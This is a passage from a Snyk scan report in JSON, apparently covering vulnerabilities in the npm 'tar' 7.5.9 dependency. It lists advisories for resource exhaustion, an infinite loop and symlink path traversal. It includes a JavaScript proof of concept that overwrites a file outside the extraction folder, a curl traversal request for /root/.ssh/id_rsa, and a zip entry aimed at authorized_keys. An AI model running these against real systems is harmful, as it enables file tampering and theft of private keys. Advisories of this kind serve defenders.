"2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ 